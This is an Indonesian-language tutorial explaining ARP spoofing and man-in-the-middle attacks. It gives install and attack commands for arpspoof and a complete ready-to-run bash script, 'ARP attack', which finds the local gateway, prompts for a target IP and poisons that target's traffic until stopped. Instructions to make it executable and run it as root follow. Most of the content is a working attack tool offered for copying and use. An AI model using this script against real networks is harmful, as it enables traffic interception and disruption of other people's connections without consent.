ARP Spoofing dengan Arpspoof

Sebelum mengenal apa itu ARP Spoofing, berikut merupakan penjelasan singkat mengenai ARP.
ARP(Address Resolution Protocol) merupakan sebuah protokol dalam TCP/IP Protocol Suite yang bertanggungjawab dalam melakukan resolusi alamat IP ke dalam alamat Media Access Control (MAC Address).

ARP Spoofing sendiri merupakan suatu aktifitas manipulasi paket ARP dari client target agar semua paket-paket data client target melalui komputer attacker terlebih dahulu. Hal ini terjadi karena komputer attacker akan memberi tahu kepada klien target bahwa MAC address attacker adalah MAC dari komputer server/gateway. Kemudian komputer attacker juga akan memberi tahu kepada komputer server/gateway (komputer yang dituju client taget) bahwa MAC address dari clien target adalah MAC address dari computer attacker sendiri (sebagai penyerang). Serangan semacam ini disebut dengan Man-in-the-Middle (MITM).

Arpspoof merupakan salah satu tool yang digunakan untuk manipulasi ARP.
Dengan cara meracuni traffic dengan paket-paket ARP, arpspoof sendiri mampu memberikan efek pada suatu target menjadi terganggunya koneksi karena banyaknya paket yang meracuni target.

Instalasi

$ sudo apt-get install dsniff

Action

$ arpspoof -i $device -t $gwAddr $target &>/dev/null &

contoh

$ arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 &>/dev/null &

Script
Berikut merupakan salah satu pengembangan dari tool arpspoof yang dikemas dalam bash, untuk penggunaan silahkan copy dari script berikut

#!/bin/bash

###############
##
#         Name: ARP attack
#  Description: This Shell can attact with arp spoof
#      Version: Beta 0.1
#      License: copyleft
#
#    Requires
#    - dsniff
#
#    Must be root privilege
##
###############
device=`ip route list | grep default | awk '{ print $5 }'`
macAddr=`ip addr show dev $device | awk '/ether/{print $2}'`
gwAddr=`ip route list | grep default | awk '{ print $3 }'`
macGw=`arping -I $device -f $gwAddr | grep "Unicast" | cut -d" " -f5 | cut -d"[" -f2 | cut -d"]" -f1`
ipAddr=`ifconfig $device | grep "inet addr:" | cut -d ":" -f2 | cut -d " " -f1`
mask=`ifconfig $device | grep "Mask:" | cut -d ":" -f4`


arp_spoof(){
    echo -n "Insert IP target : "; read target
    `arpspoof -i $device -t $gwAddr $target &>/dev/null &`
    echo "Address $target is attack by $ipAddr"
    echo
    echo
    echo "Press [Enter] to stop attack"; read
    killall arpspoof
    `arptables -P INPUT ACCEPT && arptables -P OUTPUT ACCEPT && arptables -F`
    echo "Address $target is normal again"
}

clear
echo "==================================================="
echo "                                                 "
echo "                Created By Nc1pt                 "
echo "                                                 "
echo "==================================================="
echo
echo "         Device      : $device         "
echo "         IP Address  : $ipAddr         "
echo "         Subnet Mask : $mask           "
echo "         MAC Address : $macAddr        "
echo "         Gateway     : $gwAddr         "
echo "         Mac Gateway : $macGw          "
echo
echo "   =========================================="
echo
arp_spoof

Simpan dengan nama attack.sh
Edit permission agar dapat di eksekusi dengan

$ sudo chmod +x attack.sh

Jalankan script

$ sudo ./attack.sh

Manfaatkan ilmu dengan bijak :D